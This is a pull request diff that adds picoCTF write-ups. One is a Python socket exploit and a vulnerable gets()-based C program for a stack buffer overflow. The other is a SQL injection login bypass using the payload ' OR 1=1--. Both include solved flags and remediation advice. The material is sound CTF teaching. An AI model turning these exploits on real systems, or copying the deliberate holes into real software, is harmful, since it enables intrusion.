Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
33 changes: 33 additions & 0 deletions picoctf/pwn/bufferoverflow1/exploit.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
import socket
import argparse
import struct

parser = argparse.ArgumentParser()
parser.add_argument("host", type=str)
parser.add_argument("port", type=int)
args = parser.parse_args()

offset = 44
win = struct.pack("<I", 0x080491F6)

payload = b"A" * offset + win + b"\n"

with socket.socket() as s:
s.settimeout(2)
s.connect((args.host, args.port))

try:
print(s.recv(4096).decode(), end="")
except:
pass

s.sendall(payload)

try:
while True:
data = s.recv(4096)
if not data:
break
print(data.decode(errors="ignore"), end="")
except:
pass
Binary file added picoctf/pwn/bufferoverflow1/vuln
Binary file not shown.
42 changes: 42 additions & 0 deletions picoctf/pwn/bufferoverflow1/vuln.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
//#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}

fgets(buf,FLAGSIZE,f);
printf(buf);
}

void vuln(){
char buf[BUFSIZE];
gets(buf);

printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

setvbuf(stdout, NULL, _IONBF, 0);

gid_t gid = getegid();
setresgid(gid, gid, gid);

puts("Please enter your string: ");
vuln();
return 0;
}

165 changes: 165 additions & 0 deletions picoctf/pwn/bufferoverflow1/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
# PicoCTF: buffer overflow 1

## Context

In this challenge, we are given a vulnerable Linux binary (`vuln`) along with its source code (`vuln.c`). The goal is to exploit a stack-based buffer overflow to redirect execution to a hidden function (`win`) that prints the flag. The description given is "control the return address".

## Background Information: Buffer Overflows

A buffer overflow occurs when a program writes more data to a memory buffer
than it was allocated to hold. In C programs, this commonly occurs when
unsafe input functions such as `gets`, `scanf`, or improperly used `fgets`
do not enforce bounds checking.

By overflowing a buffer on the stack, it is possible to overwrite adjacent
memory, including control data such as the saved return address. If this
return address is overwritten with a chosen value, program execution can be
redirected to an arbitrary function within the binary.

When a function is called in a C program, the program uses the call stack to
track execution state. Each function call creates a *stack frame*, which
contains local variables and metadata required to return execution to the
caller.

A simplified stack layout for the `vuln()` function is shown below
(addresses increase downward):

+-----------------------------+
| Saved Return Address (EIP) | ← overwritten target
+-----------------------------+
| Saved Base Pointer (EBP) |
+-----------------------------+
| char buf[32] | ← user-controlled input
+-----------------------------+

The *saved return address* is the address that the CPU jumps to when the
function finishes executing. Under normal execution, this points to the
instruction immediately following the function call in `main()`.

Because `gets()` performs no bounds checking, supplying more than 32 bytes
of input allows data to overflow `buf` and overwrite values higher on the
stack, including the saved return address. If an attacker controls this
value, they can redirect execution.

In this challenge, the binary contains a `win()` function that is never
invoked during normal execution. By overflowing `buf` and overwriting the
saved return address with the address of `win()`, execution is redirected
to `win()`, which prints the flag.

## Background Information: Binary Protections (PIE)

Position Independent Executable (PIE) randomizes the base address of a binary
at runtime, causing function addresses to change between executions.

This challenge binary is compiled **without PIE**, meaning function addresses
are static. As a result, the address of the `win()` function can be determined
statically and reliably reused in the exploit.

If PIE were enabled, an additional information leak would be required to
determine the runtime address of `win()` before overwriting the return address.


## Vulnerability

The vulnerability in this challenge is a stack-based buffer overflow.
The program reads user input into a buffer without checking its length,
allowing an attacker to overwrite the saved return address on the stack. Without proper bounds checking, the program is vulnerable to memory corruption.

Examining `vuln.c` reveals the core vulnerability:

```c
#define BUFSIZE 32

void vuln(){
char buf[BUFSIZE];
gets(buf);

printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
```

Here, we see that the buffer buf is only 32 bytes long. The function `gets()` is used to read input, but `gets()` does not perform any bounds checking and will continue reading until a newline is encountered.

This allows user input to overflow buf and overwrite data stored after it on the stack, including the saved return address.

![Alt text]

Also, the program includes a `win()` function as shown below:

```c
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
fgets(buf,FLAGSIZE,f);
printf(buf);
}
```

The `win()` function reads the flag from `flag.txt` and prints it, but it is never called during normal program execution, which also makes it a target for exploitation.

## Exploitation

Step 1: Identifying the overflow point

To determine how much input is required to overwrite the return address, I sent increasingly long, predictable strings to the program once prompted for input. Supplying more than 32 bytes caused the program to crash with a segmentation fault, confirming that the buffer overflow was reachable.

By continuing to increase the input length and observing crashes, it became clear that data beyond the buffer was overwriting the saved instruction pointer.

Using repeated characters ("A" * N) made it easy to recognize when the return address was being overwritten. When I noticed that the program attempted to jump to 0x41414141, it confirmed control over the instruction pointer since 0x41 is the ASCII value of 'A'.

Step 2: Locating the win function

Since the binary is not stripped, symbol information is available. The address of the win function was found using:

`readelf -s vuln | grep win`

This revealed the exact address of `win()` within the binary. This address is the value that needs to overwrite the saved return address.

Step 3: Endianness

On x86 systems, addresses are stored in little-endian format. So, I had to consider that the bytes of the win function address must be reversed when included in the payload.

For example, if win() is located at:
0x080491f6

It must be written in memory as:
\xF6\x91\x04\x08


Step 4: Developing the payload

The final payload I wrote consists of padding to fill the buffer and reach the return address, and the address of win() in little-endian format.

In Python, the payload was constructed as follows:

```c
import struct

offset = 44
win_addr = struct.pack("<I", 0x080491f6)
payload = b"A" * offset + win_addr + b"\n"
```

The offset was determined experimentally, and struct.pack("<I", ...) ensures proper little-endian encoding. The offset is also apparent from the stack layout: 32 bytes for buf plus the saved base pointer, placing the return address immediately after. Finally, A newline is appended to simulate pressing Enter.

Step 5: Exploiting the remote service

The challenge provides a remote service accessible via nc. I automated interaction with this service via the Python script using the socket module. The script connects to the remote host and port, receives the prompt, sends the crafted payload, and receives the program outputs. After sending the payload, execution returned to the `win()` function, and the flag was printed:

`picoCTF{addr3ss3s_ar3_3asy_b15b081e}`

## Remediation

This vulnerability can be mitigated by multiple solutions:

1. Replacing unsafe functions such as `gets()` with bounded alternatives like `fgets()`
2. Enabling compiler-based protections (e.g. ASLR, PIE)
3. Enforcing strict validation and bounds checking on user input

# Sources/Credits

Written by Tatyana Ilieva

- https://play.picoctf.org/practice/challenge/258?page=1&search=buffer
- https://owasp.org/www-community/vulnerabilities/
- https://www.youtube.com/watch?v=k4hqdVo3cqk
118 changes: 118 additions & 0 deletions picoctf/web/sqlilite/writeup.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
# PicoCTF: SQLiLite

## Summary

This challenge displays a login form with a SQL injection vulnerability. The backend uses SQLite to query user credentials, and the application exposes the SQL query it runs. This makes it easy to craft a payload. The goal is to bypass authentication and retrieve the flag using a classic SQL injection technique.

**Artifacts:**
- Web application login form (deployed on-demand container)


## Context

When the instance is launched and I navigated to the site, I was presented with a basic username and password login form. Entering random credentials (e.g., `admin` / `admin`) fails with an "Incorrect username or password" message, but crucially the page also **displays the SQL query that was executed**:

```sql
SELECT * FROM users WHERE name='admin' AND password='admin'
```

This immediately reveals:
- The database uses single quotes `'` to delimit string values
- User input is directly concatenated into the SQL query with no sanitization. This is a classic SQL injection vulnerability
- Both the `name` and `password` fields are injectable


## Vulnerability

The application constructs its SQL query by directly concatenating user-supplied input into the query string, something like:

```python
query = "SELECT * FROM users WHERE name='" + username + "' AND password='" + password + "'"
```

Because there is no input sanitization or use of parameterized queries, an attacker can inject SQL syntax through the input fields to manipulate the logic of the query.


## Exploitation

### Exploit Overview

The exploit uses SQL injection to short-circuit the authentication logic. By injecting an `OR` condition that is always true and commenting out the rest of the query, we can log in without knowing any valid credentials.

### Exploit Mitigation Considerations

- **No parameterized queries:** Input is directly concatenated into the SQL string, enabling injection.
- **SQLite comment syntax:** SQLite uses `--` (two hyphens) as the line comment character, unlike MySQL which uses `#`. This is important when crafting the payload.
- **Error visibility:** The application displays the raw SQL query on failed logins, which leaks the query structure and quote style to the attacker.

### Step-by-Step

**Step 1 — Identify the injection point**

Submit any credentials and observe the reflected SQL query. We can see single quotes wrap our input and the query uses an `AND` condition to require both username and password to match.

**Step 2 — Craft the payload**

We want to inject into the `name` field to make the `WHERE` clause always evaluate to `true`, then comment out the rest of the query (including the password check). The payload is:

```
' OR 1=1--
```

Breaking this down:
- `'` — closes the opening single quote around the username value
- `OR 1=1` — adds a condition that is always true, so the query returns a result regardless of the actual username
- `--` — SQLite's comment syntax; this comments out the rest of the query, including `AND password='...'`, effectively removing the password check entirely

**Step 3 — Submit the payload**

Enter the following in the login form:
- **Username:** `' OR 1=1--`
- **Password:** (anything, e.g. `test`)

The resulting SQL query becomes:

```sql
SELECT * FROM users WHERE name='' OR 1=1-- AND password='test'
```

Everything after `--` is treated as a comment, so the query effectively executes as:

```sql
SELECT * FROM users WHERE name='' OR 1=1
```

Since `1=1` is always true, the query returns the first user record in the database.

**Step 4 — Retrieve the flag**

The page responds with a success message. The flag is embedded in the HTML source of the page. Using **Ctrl+U** (or right-click → View Page Source) reveals:

```
Your flag is: picoCTF{L00k5_l1k3_y0u_solv3d_it_ec8a64c7}
```

---

## Why `--` and Not `#`?

A common SQL injection comment character is `#` (used in MySQL). However, this application uses **SQLite**, which does not recognize `#` as a comment. SQLite's comment syntax is `--`. Using `#` would leave a dangling quote in the query and cause a syntax error, whereas `--` cleanly terminates the query and bypasses the password check.


## Remediation

To fix this vulnerability, the application should use **parameterized queries** /prepared statements instead of string concatenation:

```python
cursor.execute("SELECT * FROM users WHERE name=? AND password=?", (username, password))
```

This would ensure that the user input is always treated as data and never as executable SQL code. Additionally, the application should **not display the raw SQL query** to the user, since this leaks implementation details that make exploitation significantly easier.

## References

- [PayloadsAllTheThings — SQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
- [SQLite comment syntax documentation](https://www.sqlite.org/lang_comment.html)
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)

Written by Tatyana Ilieva